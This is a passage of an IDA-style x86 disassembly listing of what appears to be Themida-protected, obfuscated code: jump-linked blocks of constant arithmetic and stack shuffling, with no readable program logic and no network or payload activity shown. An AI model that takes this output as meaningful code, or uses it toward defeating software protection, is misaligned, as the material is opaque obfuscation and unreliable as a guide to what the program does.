		dec	edx
		add	edx, 0E82FDD65h
		jmp	loc_565C1C
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 4EC8324h, 68240489h,	9F0h, 0FF0947E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E645:				; CODE XREF: sub_562ABA-4710j
		xchg	ebx, esi
		not	ebx
		xchg	ebx, esi
		push	edi
		mov	edi, 4A1C423Ah
		jmp	loc_56C4D5
; ---------------------------------------------------------------------------


loc_56E656:				; CODE XREF: sub_562ABA+CC82j
		xchg	edx, [esp+0]
		jmp	loc_56AE31
; ---------------------------------------------------------------------------


loc_56E65E:				; CODE XREF: sub_562ABA-3F6Bj
		sub	ebp, 286210BDh
		push	ecx
		mov	ecx, 7EBF1BAEh
		sub	ecx, 157B228h
		add	edi, ecx
		pop	ecx
		jmp	loc_56C81D
; ---------------------------------------------------------------------------


loc_56E678:				; CODE XREF: sub_562ABA-12FFj
		mov	dl, ah
		jmp	loc_56D7E1
; ---------------------------------------------------------------------------


loc_56E67F:				; CODE XREF: sub_562ABA+7030j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+3Eh+var_3E]
		pop	esp
		sub	esp, 4
		mov	[esp+3Eh+var_3E], ebp
		push	esp
		pop	ebp
		jmp	loc_5632E3
; ---------------------------------------------------------------------------


loc_56E69B:				; CODE XREF: sub_562ABA+AA57j
		push	edx
		push	esi
		mov	esi, 68391DC0h
		jmp	loc_56ACE0
; ---------------------------------------------------------------------------


loc_56E6A7:				; CODE XREF: sub_562ABA+DE31j
		mov	esp, [esp+2Ah+var_2C+2]
		mov	[esp+2Ah+var_2C+2], edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp+0], esi
		push	edi
		mov	edi, 400B7537h
		mov	esi, 2030F79h
		xor	esi, edi
		mov	edi, [esp+32h+var_32]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	[esp+3Ah+var_36]
		jmp	loc_56F52B
; ---------------------------------------------------------------------------


loc_56E6DE:				; CODE XREF: sub_562ABA+4DCj
		mov	eax, ebp
		pop	ebp
		sub	eax, 1
		jmp	loc_56698D
; ---------------------------------------------------------------------------


loc_56E6EB:				; CODE XREF: sub_562ABA+5577j
		add	esp, 4
		pop	dword ptr [esp+0]
		mov	esp, [esp+0Ah+var_C+2]
		test	ecx, eax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56E6FC:				; CODE XREF: sub_562ABA+F60Ej
		pop	edx
		xchg	esi, [esp+0Ah+var_C+2]
		pop	esp
		xor	bl, al
		movzx	eax, al
		jmp	loc_56F24E
; ---------------------------------------------------------------------------


loc_56E70B:				; CODE XREF: sub_562ABA+B985j
		add	edx, 4
		push	eax
		jmp	loc_570459
; ---------------------------------------------------------------------------


loc_56E717:				; CODE XREF: sub_562ABA-4077j
		pop	edx
		not	edx
		jmp	loc_56A792
; ---------------------------------------------------------------------------


loc_56E71F:				; CODE XREF: sub_562ABA+31B4j
		and	ebx, 2F4B45E9h
		and	ebx, 1BEE0192h
		sub	ebx, 0FFFFFFFFh
		not	ebx
		jmp	loc_56FCEA
; ---------------------------------------------------------------------------


loc_56E735:				; CODE XREF: sub_562ABA+A2F3j
		push	eax
		jmp	loc_5663C4
; ---------------------------------------------------------------------------


loc_56E73B:				; CODE XREF: sub_562ABA-2833j
		add	edx, esi
		mov	esi, [esp+0]
		jmp	loc_56F971
; ---------------------------------------------------------------------------


loc_56E745:				; CODE XREF: sub_562ABA+2E3Ej
		mov	ecx, 969344F6h
		sub	esi, 679C4622h
		sub	esi, 55637392h
		add	esi, ecx
		add	esi, 55637392h
		add	esi, 679C4622h
		pop	ecx
		add	ebp, esi
		pop	esi
		add	ebp, ebx
		sub	ebp, 3D187776h
		push	[esp+36h+var_36]
		jmp	loc_571DC6
; ---------------------------------------------------------------------------


loc_56E778:				; CODE XREF: sub_562ABA-27ACj
		pop	eax
		retn
; ---------------------------------------------------------------------------
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56E77F:				; CODE XREF: sub_562ABA+9EDj
		push	2B10h
		mov	[esp+12h+var_12], ebx
		mov	ebx, 39C3566Eh
		jmp	loc_568894
; ---------------------------------------------------------------------------


loc_56E791:				; CODE XREF: sub_562ABA+5351j
		add	esi, 4556CE5Eh
		mov	ecx, esi
		jmp	loc_5628BC
; ---------------------------------------------------------------------------


loc_56E79E:				; CODE XREF: sub_562ABA+D4E0j
		pop	edx
		add	eax, ebp
		mov	ebp, [esp+3Ch+var_3E+2]
		add	esp, 4
		xor	eax, 0CA167A59h
		push	eax
		pop	ecx
		pop	eax
		sub	esp, 4
		mov	[esp+38h+var_3A+2], edi
		mov	edi, 7F886E69h
		jmp	loc_55E965
; ---------------------------------------------------------------------------


loc_56E7C5:				; CODE XREF: sub_562ABA+7A51j
		pop	ebx
		sub	edx, 7E2A5C07h
		add	edx, 6FC0735Eh
		add	edx, edi
		sub	edx, 6FC0735Eh
		jmp	loc_570191
; ---------------------------------------------------------------------------


loc_56E7DF:				; CODE XREF: sub_562ABA+AF4Fj
		push	ebx
		mov	bh, cl
		jmp	loc_561009
; ---------------------------------------------------------------------------


loc_56E7E7:				; CODE XREF: sub_562ABA-3A94j
		mov	[esp+0Ah+var_C+2], esi
		push	esp
		push	dword ptr [esp+0]
		mov	esi, [esp+12h+var_12]
		add	esp, 4
		push	3503h
		jmp	loc_571728
; ---------------------------------------------------------------------------


loc_56E7FE:				; CODE XREF: sub_562ABA-FA0j
		mov	ecx, 0AAC231BDh
		sub	eax, ecx
		pop	ecx
		sub	esi, eax
		pop	eax
		add	esi, eax
		push	212Bh
		mov	[esp+0], eax
		push	35F9h
		mov	[esp+12h+var_12], ebp
		push	17872477h
		pop	ebp
		add	ebp, 1
		add	ebp, 81A2DB1h
		shr	ebp, 8
		jmp	loc_56BCEC
; ---------------------------------------------------------------------------


loc_56E835:				; CODE XREF: sub_562ABA-349Fj
		mov	ebx, [esp+6+var_8+2]
		add	esp, 4
		jmp	loc_5670BF
; ---------------------------------------------------------------------------


loc_56E840:				; CODE XREF: sub_562ABA+3301j
		shl	ebp, 8
		xor	ebp, 982FE666h
		jmp	loc_55F360
; ---------------------------------------------------------------------------


loc_56E84E:				; CODE XREF: sub_562ABA+BFB0j
		pop	esp
		pop	esi
		push	2CB5h
		mov	[esp-0Ch+arg_8], edi
		push	eax
		mov	eax, 420F1376h
		jmp	loc_56833D
; ---------------------------------------------------------------------------


loc_56E863:				; CODE XREF: sub_562ABA+E5CCj
		mov	edi, [esp-8+arg_4]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		push	ebx
		push	684259D1h
		pop	ebx
		not	ebx
		not	ebx
		or	ebx, 4EAF7974h
		xor	ebx, 6EEF79F1h
		mov	eax, ebx
		pop	ebx
		jmp	loc_56BE0B
; ---------------------------------------------------------------------------


loc_56E88F:				; CODE XREF: sub_562ABA-33F5j
		xor	edx, 0DE26B35h
		sub	ebx, 34F32C6Fh
		add	ebx, edx
		add	ebx, 34F32C6Fh
		mov	edx, [esp+6+var_8+2]
		add	esp, 4
		xchg	ebx, [esp+2+var_4+2]
		mov	esp, [esp+2+var_4+2]
		push	1436h
		jmp	loc_55FCAD
; ---------------------------------------------------------------------------


loc_56E8BC:				; CODE XREF: sub_562ABA+8937j
		mov	ebx, 3E576417h
		sub	esi, ebx
		jmp	loc_561CCD
; ---------------------------------------------------------------------------


loc_56E8C8:				; CODE XREF: sub_562ABA+A30Fj
		add	esp, 4
		push	edx
		push	ecx
		mov	cl, 2Fh
		push	278Ah
		mov	[esp+22h+var_22], ecx
		mov	ch, 3Ch
		sub	ch, 68h
		dec	ch
		shl	ch, 7
		add	ch, 0B7h
		neg	ch
		jmp	loc_567F45
; ---------------------------------------------------------------------------


loc_56E8EB:				; CODE XREF: sub_562ABA+FD63j
		push	ebp
		push	[esp+26h+var_22]
		pop	ebp
		jmp	loc_570450
; ---------------------------------------------------------------------------


loc_56E8F6:				; CODE XREF: sub_562ABA+84F0j
		push	esp
		pop	ecx
		push	esi
		mov	esi, 18B40163h
		or	esi, 2EEC75A6h
		add	esi, 2261068h
		inc	esi
		jmp	loc_56614F
; ---------------------------------------------------------------------------


loc_56E910:				; CODE XREF: sub_562ABA+6Fj
		pop	edx
		push	47F5h
		mov	[esp+1Ah+var_1A], ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		push	1F4Ch
		jmp	loc_562642
; ---------------------------------------------------------------------------


loc_56E92B:				; CODE XREF: sub_562ABA+5BBj
		pop	esp
		jmp	loc_5608DD
; ---------------------------------------------------------------------------


loc_56E931:				; CODE XREF: sub_562ABA+86D9j
		not	edx
		jmp	loc_563DB9
; ---------------------------------------------------------------------------


loc_56E938:				; CODE XREF: sub_562ABA-4B4j
		pop	ebx
		xor	dl, cl
		pop	ecx
		dec	dl
		shl	dl, 6
		shl	dl, 3
		jmp	loc_56085F
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		jmp	loc_563264
; ---------------------------------------------------------------------------


loc_56E953:				; CODE XREF: sub_562ABA+31A4j
		xor	esi, edx
		pop	edx
		push	esi
		jmp	loc_571605
; ---------------------------------------------------------------------------


loc_56E95C:				; CODE XREF: sub_562ABA+54EDj
		add	edi, 2A1D1B17h
		push	edi
		add	dword ptr [esp+0], 5A467575h
		pop	ebp
		sub	ebp, 5A467575h
		mov	edi, [esp+0Ah+var_C+2]
		add	esp, 4
		push	ebx
		mov	ebx, 5B88179Fh
		jmp	loc_56902A
; ---------------------------------------------------------------------------


loc_56E982:				; CODE XREF: sub_562ABA+DFE8j
		push	eax
		push	[esp+0Eh+var_C+2]
		pop	eax
		pop	dword ptr [esp+0]
		mov	esp, [esp+0Ah+var_C+2]
		push	ebp
		push	esp
		mov	ebp, [esp+12h+var_12]
		jmp	loc_56C05B
; ---------------------------------------------------------------------------


loc_56E998:				; CODE XREF: sub_562ABA+A1E0j
		xor	ecx, 58F11893h
		add	eax, 5D7C4B6Ch
		add	eax, ecx
		sub	eax, 5D7C4B6Ch
		pop	ecx
		shl	eax, 1
		jmp	loc_56E321
; ---------------------------------------------------------------------------


loc_56E9B2:				; CODE XREF: sub_562ABA-3ACBj
		pop	ecx
		push	edx
		push	[esp+0Ah+var_8+2]
		mov	edx, [esp+0]
		add	esp, 4
		pop	[esp+0Ah+var_C+2]
		jmp	loc_56552E
; ---------------------------------------------------------------------------


loc_56E9C9:				; CODE XREF: sub_562ABA+200Bj
		mov	[esp+22h+var_22], edi
		jmp	loc_57176F
; ---------------------------------------------------------------------------


loc_56E9D1:				; CODE XREF: sub_562ABA-369Cj
		xor	ecx, 8A0C045h
		add	ebx, ecx
		mov	ecx, [esp+22h+var_22]
		add	esp, 4
		add	ebx, 2
		xchg	ebx, [esp+1Eh+var_1E]
		mov	esp, [esp+1Eh+var_1E]
		jmp	loc_570A8E
; ---------------------------------------------------------------------------


loc_56E9F0:				; CODE XREF: sub_562ABA+9680j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+26h+var_28+2]
		pop	esp
		jmp	loc_56476D
; ---------------------------------------------------------------------------


loc_56EA05:				; CODE XREF: sub_562ABA+B44Aj
		push	7504h
		mov	[esp+0], edx
		mov	edx, 431E60A0h
		add	[esp+2Eh+var_2C+2], edx
		mov	edx, [esp+0]
		add	esp, 4
		mov	ecx, [esp+2Ah+var_2C+2]
		jmp	loc_562CB4
; ---------------------------------------------------------------------------


loc_56EA27:				; CODE XREF: sub_562ABA+6182j
		not	edi
		xor	edi, ebp
		xor	ebp, edi
		xor	edi, ebp
		not	ebp
		push	edi
		push	ebp
		jmp	loc_56C517
; ---------------------------------------------------------------------------


loc_56EA38:				; CODE XREF: sub_562ABA+8A05j
		mov	edx, 15C46014h
		push	ebp
		jmp	loc_56AEA6
; ---------------------------------------------------------------------------


loc_56EA43:				; CODE XREF: sub_562ABA-27D1j
		push	edx
		mov	edx, eax
		mov	ebp, edx
		pop	edx
		mov	eax, [esp+12h+var_12]
		push	eax
		mov	eax, esp
		push	edx
		mov	edx, 2B824DE9h
		add	edx, 174E1ADDh
		sub	edx, 42D068C2h
		add	eax, edx
		pop	edx
		add	eax, 4
		xchg	eax, [esp+16h+var_16]
		jmp	loc_56E84E
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+16h+var_16]
		push	edi
		sub	esp, 4
		push	esp
		pop	[esp+22h+var_22]
		push	edi
		mov	edi, 4
		add	[esp+22h+var_1E], edi
		pop	edi
		push	[esp+1Eh+var_1E]
		jmp	loc_55ECE0
; ---------------------------------------------------------------------------


loc_56EA91:				; CODE XREF: sub_562ABA+4600j
		mov	dh, 0BFh
		mov	cl, 0FBh
		xor	cl, dh
		mov	edx, [esp+3Eh+var_3E]
		add	esp, 4
		mov	dl, 87h
		jmp	loc_56BA6F
; ---------------------------------------------------------------------------


loc_56EAA4:				; CODE XREF: sub_562ABA+32B9j
		sub	esp, 4
		mov	[esp-8+arg_4], edi
		mov	edi, 72B500B4h
		push	esi
		jmp	loc_569782
; ---------------------------------------------------------------------------


loc_56EAB5:				; CODE XREF: sub_562ABA+FF0Aj
		add	edi, 0D92C49h
		pop	ebx
		sub	esp, 4
		mov	[esp-4+arg_0], ebx
		mov	ebx, 5B2B15D2h
		xor	ebx, 44E248FDh
		xor	ebx, 57B915F9h
		dec	ebx
		not	ebx
		add	ebx, 0A39F4E57h
		add	edx, ebx
		mov	ebx, [esp-4+arg_0]
		jmp	loc_569FD6
; ---------------------------------------------------------------------------


loc_56EAE6:				; CODE XREF: sub_562ABA+F4C9j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		pop	[esp-4+arg_0]
		jmp	loc_5679B1
; ---------------------------------------------------------------------------


loc_56EB01:				; CODE XREF: sub_562ABA-3BB6j
		xor	edx, edi
		xor	edi, edx
		jmp	loc_568BED
; ---------------------------------------------------------------------------


loc_56EB0A:				; CODE XREF: sub_562ABA+FF2Dj
		mov	edx, 4
		mov	ebp, edx
		jmp	loc_572686
; ---------------------------------------------------------------------------


loc_56EB16:				; CODE XREF: sub_562ABA+4F80j
		xchg	ebp, [esp-6+arg_0+2]
		jmp	loc_571A94
; ---------------------------------------------------------------------------


loc_56EB1E:				; CODE XREF: sub_562ABA+8887j
		pop	esi
		add	esi, 4
		push	ecx
		mov	ecx, 2
		sub	esi, ecx
		pop	ecx
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_565E4C
; ---------------------------------------------------------------------------


loc_56EB39:				; CODE XREF: sub_562ABA+17E5j
		mov	[esp+16h+var_16], ebx
		mov	ebx, 4
		add	eax, ebx
		push	[esp+16h+var_16]
		jmp	loc_56A157
; ---------------------------------------------------------------------------


loc_56EB4B:				; CODE XREF: sub_562ABA-195j
		pop	ecx
		jmp	loc_568942
; ---------------------------------------------------------------------------


loc_56EB51:				; CODE XREF: sub_562ABA-49Cj
		add	esp, 4
		push	482Ah
		mov	[esp+1Eh+var_1E], edx
		mov	dh, 0A8h
		xor	bl, dh
		jmp	loc_563AB4
; ---------------------------------------------------------------------------


loc_56EB65:				; CODE XREF: sub_562ABA+1F73j
		xor	ebx, [esp-10h+arg_C]
		xor	[esp-10h+arg_C], ebx
		xor	ebx, [esp-10h+arg_C]
		jmp	loc_56C47C
; ---------------------------------------------------------------------------


loc_56EB73:				; CODE XREF: sub_562ABA+ABE6j
		mov	ch, 2Fh
		xor	ch, bl
		pop	ebx
		jmp	loc_56EEFC
; ---------------------------------------------------------------------------


loc_56EB7D:				; CODE XREF: sub_562ABA+95C8j
		push	edx
		mov	edx, 68966F56h
		sub	ecx, edx
		pop	edx
		pop	esi
		xchg	ecx, [esp+12h+var_12]
		mov	esp, [esp+12h+var_12]
		push	3A7h
		mov	[esp+16h+var_16], ebp
		mov	ebp, 574704F4h
		shr	ebp, 5
		push	eax
		mov	eax, 1A8C160Ah
		add	eax, 65D31CF8h
		xor	eax, 449B2BF4h
		add	eax, 7A7234EAh
		sub	ebp, eax
		pop	eax
		push	ebx
		push	7F5E01D4h
		pop	ebx
		add	ebx, 782651EDh
		jmp	loc_55E9BF
; ---------------------------------------------------------------------------


loc_56EBC7:				; CODE XREF: sub_562ABA-40CAj
		xor	esi, [esp+1Ah+var_1A]
		mov	esp, [esp+1Ah+var_1A]
		sub	esp, 4
		mov	[esp+1Eh+var_1E], edi
		mov	edi, 4000h
		and	eax, edi
		jmp	loc_56B38E
; ---------------------------------------------------------------------------


loc_56EBDF:				; CODE XREF: sub_562ABA+7FA8j
		pop	edx
		dec	edi
		shr	edi, 5
		sub	edi, 1
		sub	edi, 0F9E929BFh
		push	edi
		sub	[esp+12h+var_12], 38F6E86h
		pop	eax
		push	edi
		mov	edi, 5A52605Eh
		and	edi, 5F0376Eh
		add	edi, 4D28368Bh
		sub	edi, 49E8E853h
		add	eax, edi
		jmp	loc_570337
; ---------------------------------------------------------------------------


loc_56EC18:				; CODE XREF: sub_562ABA+E467j
		add	esp, 4
		push	edx
		push	7825h
		mov	[esp+16h+var_16], eax
		mov	eax, 4
		mov	edx, eax
		mov	eax, [esp+16h+var_16]
		add	esp, 4
		add	ebp, 15AE5318h
		add	ebp, edx
		sub	ebp, 15AE5318h
		mov	edx, [esp+12h+var_12]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp+16h+var_16]
		xor	[esp+16h+var_16], ebp
		xor	ebp, [esp+16h+var_16]
		pop	esp
		jmp	loc_5724E5
; ---------------------------------------------------------------------------


loc_56EC5D:				; CODE XREF: sub_562ABA+2407j
		push	edx
		jmp	loc_56DF2E
; ---------------------------------------------------------------------------


loc_56EC63:				; CODE XREF: sub_562ABA+2625j
		pop	eax
		pop	edx
		xor	bh, 2Bh
		jmp	loc_55E8B9
; ---------------------------------------------------------------------------


loc_56EC6D:				; CODE XREF: sub_562ABA+6341j
		pop	ecx
		jmp	loc_562E4B
; ---------------------------------------------------------------------------


loc_56EC73:				; CODE XREF: sub_562ABA+5957j
		sub	ebx, 33AE6F0Fh
		jmp	loc_56671C
; ---------------------------------------------------------------------------


loc_56EC7E:				; CODE XREF: sub_562ABA-B60j
		pop	esi
		shl	edi, 4
		jmp	loc_56E3D3
; ---------------------------------------------------------------------------


loc_56EC87:				; CODE XREF: sub_562ABA+381Fj
		push	5AADh
		mov	[esp+2Ah+var_2C+2], ebp
		push	ebx
		jmp	loc_566315
; ---------------------------------------------------------------------------


loc_56EC95:				; CODE XREF: sub_562ABA+217Fj
		pop	eax
		add	esp, 4
		add	eax, esi
		pop	esi
		add	ebx, eax
		pop	eax
		add	ebx, esi
		push	ebp
		push	ecx
		mov	ecx, 0CEA6D32h
		sub	ecx, 2CA20635h
		sub	ecx, 0FFFFFFFFh
		not	ecx
		jmp	loc_564A78
; ---------------------------------------------------------------------------


loc_56ECB8:				; CODE XREF: sub_562ABA+D1Bj
		pop	esi
		xor	edx, [esp+1Ah+var_1A]
		xor	[esp+1Ah+var_1A], edx
		xor	edx, [esp+1Ah+var_1A]
		mov	esp, [esp+1Ah+var_1A]
		jmp	loc_56F7C2
; ---------------------------------------------------------------------------


loc_56ECCA:				; CODE XREF: sub_562ABA-429Dj
		sub	eax, ecx
		pop	ecx
		push	[esp+16h+var_16]
		pop	ecx
		jmp	loc_56899F
; ---------------------------------------------------------------------------


loc_56ECD6:				; CODE XREF: sub_562ABA-3B58j
		mov	ebp, [esp+0]
		add	esp, 4
		push	17CAh
		mov	[esp+0], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	[esp+32h+var_32]
		pop	esp
		push	ebp
		jmp	loc_56BB66
; ---------------------------------------------------------------------------


loc_56ED05:				; CODE XREF: sub_562ABA+CA3Cj
		mov	[esp+0], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_57227F
; ---------------------------------------------------------------------------


loc_56ED14:				; CODE XREF: sub_562ABA+CCA5j
		add	ebp, ebx
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		mov	[esp+2Ah+var_2C+2], ebp
		push	[esp+2Ah+var_28+2]
		mov	ebp, [esp+0]
		add	esp, 4
		pop	[esp+2Ah+var_2C+2]
		mov	esp, [esp+26h+var_28+2]
		mov	ax, word ptr [esp+26h+var_28+2]
		push	edi
		sub	esp, 4
		jmp	loc_563750
; ---------------------------------------------------------------------------


loc_56ED4A:				; CODE XREF: sub_562ABA-241Ej
		sub	esp, 4
		mov	[esp-8+arg_4], ebx
		mov	bl, 80h
		sub	cl, bl
		pop	ebx
		sub	bl, 52h
		push	ecx
		mov	cl, 0B2h
		jmp	loc_562BFF
; ---------------------------------------------------------------------------


loc_56ED60:				; CODE XREF: sub_562ABA+1639j
		sub	esp, 4
		mov	[esp+16h+var_16], ecx
		push	3C62h
		mov	[esp+1Ah+var_1A], esi
		jmp	loc_5640C3
; ---------------------------------------------------------------------------


loc_56ED76:				; CODE XREF: sub_562ABA-119Ej
		mov	ecx, 6C452E19h
		or	ecx, 7D3D7F16h
		jmp	loc_562E63
; ---------------------------------------------------------------------------


loc_56ED86:				; CODE XREF: sub_562ABA-41EEj
		sub	bl, 9Bh
		add	bl, ch
		add	bl, 9Bh
		jmp	loc_569D34
; ---------------------------------------------------------------------------


loc_56ED93:				; CODE XREF: sub_562ABA-141j
		mov	edx, 61184525h
		and	edx, 682850FAh
		inc	edx
		or	edx, 6C733584h
		push	ebp
		mov	ebp, 717664D7h
		and	edx, ebp
		pop	ebp
		jmp	loc_5609D6
; ---------------------------------------------------------------------------


loc_56EDB3:				; CODE XREF: sub_562ABA+67F4j
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		jmp	loc_5706FA
; ---------------------------------------------------------------------------


loc_56EDC9:				; CODE XREF: sub_562ABA+861Bj
		push	ebx
		mov	ebx, 36CE05DBh
		jmp	loc_56DFB3
; ---------------------------------------------------------------------------


loc_56EDD4:				; CODE XREF: sub_562ABA+941Ej
		mov	ebp, [esp+0]
		add	esp, 4
		pop	esi
		sub	ebx, 75574E6h
		sub	ebx, eax
		add	ebx, 75574E6h
		push	edi
		mov	edi, 12AA648Fh
		jmp	loc_56A6ED
; ---------------------------------------------------------------------------


loc_56EDF7:				; CODE XREF: sub_562ABA+F839j
		xchg	edx, [esp+2Ah+var_2C+2]
		pop	esp
		push	2022h
		mov	[esp+2Ah+var_2C+2], ebx
		mov	ebx, 4
		add	eax, 18AF5F19h
		add	eax, ebx
		sub	eax, 18AF5F19h
		push	[esp+2Ah+var_2C+2]
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		push	470Eh
		mov	[esp+32h+var_32], ebx
		mov	ebx, 4
		jmp	loc_56658E
; ---------------------------------------------------------------------------


loc_56EE32:				; CODE XREF: sub_562ABA+1AF5j
		sub	esi, 1
		sub	esi, 0FD98604Fh
		xor	eax, esi
		mov	esi, [esp+0]
		jmp	loc_5693A4
; ---------------------------------------------------------------------------


loc_56EE45:				; CODE XREF: sub_562ABA+A9C3j
		pop	ecx
		add	ebx, edx
		pop	edx
		add	ebx, 4
		sub	esp, 4
		mov	[esp+20h+var_22+2], ebx
		push	[esp+20h+var_1E+2]
		jmp	loc_5608FB
; ---------------------------------------------------------------------------


loc_56EE5B:				; CODE XREF: sub_562ABA+3028j
		mov	al, 55h
		mov	bh, al
		mov	eax, [esp+54h+var_56+2]
		add	esp, 4
		jmp	loc_56C589
; ---------------------------------------------------------------------------


loc_56EE6A:				; CODE XREF: sub_562ABA+B0E9j
		add	ebp, 4
		jmp	loc_56D00A
; ---------------------------------------------------------------------------


loc_56EE75:				; CODE XREF: sub_562ABA+5701j
		push	[esp-8+arg_4]
		pop	ebp
		sub	esp, 4
		jmp	loc_56C97A
; ---------------------------------------------------------------------------


loc_56EE81:				; CODE XREF: sub_562ABA-3CDj
		push	[esp+0Ah+var_C+2]
		pop	edi
		add	esp, 4
		xor	ebx, [esp+6+var_8+2]
		xor	[esp+6+var_8+2], ebx
		xor	ebx, [esp+6+var_8+2]
		jmp	loc_56BDD6
; ---------------------------------------------------------------------------


loc_56EE96:				; CODE XREF: sub_562ABA-535j
		add	esp, 2
		add	al, bl
		push	ecx
		mov	cl, 0C6h
		dec	cl
		not	cl
		and	cl, 0D1h
		sub	cl, 49h
		inc	cl
		add	cl, 2Fh
		add	al, 0D1h
		sub	al, cl
		push	0CB9h
		mov	[esp+32h+var_32], ebx
		mov	bl, 40h
		shl	bl, 1
		not	bl
		or	bl, 0C3h
		and	bl, 0BCh
		jmp	loc_569E78
; ---------------------------------------------------------------------------


loc_56EECA:				; CODE XREF: sub_562ABA+CA51j
		pop	ecx
		jmp	loc_56AC3A
; ---------------------------------------------------------------------------


loc_56EED0:				; CODE XREF: sub_562ABA+B398j
		push	[esp+14h+var_16+2]
		jmp	loc_56D7BE
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp+14h+var_16+2], eax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56EEE6:				; CODE XREF: sub_562ABA+2E49j
		mov	ebx, [esp+46h+var_46]
		jmp	loc_56A5B0
; ---------------------------------------------------------------------------


loc_56EEEE:				; CODE XREF: sub_562ABA+C809j
		mov	esi, [esp+46h+var_46]
		add	esp, 4
		jmp	loc_564737
; ---------------------------------------------------------------------------


loc_56EEFC:				; CODE XREF: sub_562ABA+C0BEj
		push	ecx
		jmp	loc_562AA3
; ---------------------------------------------------------------------------


loc_56EF02:				; CODE XREF: sub_562ABA+5C26j
		push	3870h
		mov	[esp+6+var_8+2], esi
		mov	esi, 1049033Ch
		xor	esi, 10490338h
		add	eax, 27ED762Bh
		add	eax, esi
		sub	eax, 27ED762Bh
		pop	esi
		push	edi
		push	4
		pop	edi
		add	eax, 347A5096h
		add	eax, edi
		sub	eax, 347A5096h
		pop	edi
		xchg	eax, [esp+2+var_4+2]
		mov	esp, [esp+2+var_4+2]
		push	ecx
		mov	ecx, 4
		sub	edx, ecx
		pop	ecx
		xor	edx, [esp+2+var_4+2]
		xor	[esp+2+var_4+2], edx
		xor	edx, [esp+2+var_4+2]
		jmp	loc_5643D8
; ---------------------------------------------------------------------------


loc_56EF53:				; CODE XREF: sub_562ABA+3F32j
		add	ebx, ebp
		pop	ebp
		xor	ebx, [esp+28h+var_28]
		xor	[esp+28h+var_28], ebx
		xor	ebx, [esp+28h+var_28]
		mov	esp, [esp+28h+var_28]
		jmp	loc_566F1E
; ---------------------------------------------------------------------------


loc_56EF67:				; DATA XREF: Themida_:0055DDC8o
		push	[esp+28h+var_28]
		push	[esp+2Ch+var_2C]
		mov	eax, [esp+30h+var_32+2]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		push	6A02h
		mov	[esp+34h+var_36+2], ebx
		push	edi
		push	741B61BBh
		pop	edi
		neg	edi
		neg	edi
		dec	edi
		jmp	loc_564ED0
; ---------------------------------------------------------------------------


loc_56EF95:				; CODE XREF: sub_562ABA-2169j
		push	esp
		mov	edx, [esp+3Eh+var_3E]
		add	esp, 4
		add	edx, 4
		push	eax
		mov	eax, 4
		jmp	loc_56336D
; ---------------------------------------------------------------------------


loc_56EFB0:				; CODE XREF: sub_562ABA+6270j
		push	5E14h
		mov	[esp+12h+var_12], edx
		push	ecx
		push	edx
		mov	edx, 52B04DC8h
		jmp	loc_564501
; ---------------------------------------------------------------------------


loc_56EFC4:				; CODE XREF: sub_562ABA+1B70j
		pop	ebp
		add	esp, 4
		push	esi
		mov	esi, 6FD826D9h
		and	ebx, esi
		pop	esi
		and	ebx, 0F542CCBh
		jmp	loc_56D7A5
; ---------------------------------------------------------------------------


loc_56EFDC:				; CODE XREF: sub_562ABA+869Dj
		and	ecx, eax
		pop	eax
		shr	ecx, 2
		jmp	loc_562A96
; ---------------------------------------------------------------------------


loc_56EFE7:				; CODE XREF: sub_562ABA+414Bj
		xor	ebx, ebp
		push	dword ptr [esp+0]
		pop	ebp
		add	esp, 4
		sub	eax, 31FF1F46h
		add	eax, ebx
		add	eax, 31FF1F46h
		mov	ebx, [esp+2Ah+var_2C+2]
		add	esp, 4
		push	ebp
		jmp	loc_571180
; ---------------------------------------------------------------------------


loc_56F00B:				; CODE XREF: sub_562ABA-1440j
		mov	esp, [esp+0]
		pop	ecx
		jmp	loc_55E482
; ---------------------------------------------------------------------------


loc_56F014:				; CODE XREF: sub_562ABA+BB17j
		mov	dx, word ptr [esp+3Ah+var_3A]
		add	esp, 2
		mov	bl, ah
		pop	eax
		jmp	loc_5648D1
; ---------------------------------------------------------------------------


loc_56F026:				; CODE XREF: sub_562ABA+E084j
		mov	ebp, 0CDB624D9h
		add	ebp, edx
		mov	edx, [esp+32h+var_32]
		add	esp, 4
		jmp	loc_55EDA6
; ---------------------------------------------------------------------------


loc_56F03B:				; CODE XREF: sub_562ABA+70BFj
		mov	ebp, edx
		mov	edx, [esp+2+var_4+2]
		add	esp, 4
		sub	edi, 720E5A59h
		jmp	loc_560085
; ---------------------------------------------------------------------------
		mov	cx, [esp+0]
		jmp	loc_572899
; ---------------------------------------------------------------------------


loc_56F05A:				; CODE XREF: sub_562ABA+5E55j
		add	ebx, 7FC2171Ah
		add	ebp, ebx
		pop	ebx
		sub	eax, ebp
		pop	ebp
		add	eax, edi
		add	eax, 35A23E12h
		push	dword ptr [eax]
		push	ecx
		mov	ecx, 2FC85DDDh
		xor	[esp+3Ch+var_3A+2], ecx
		pop	ecx
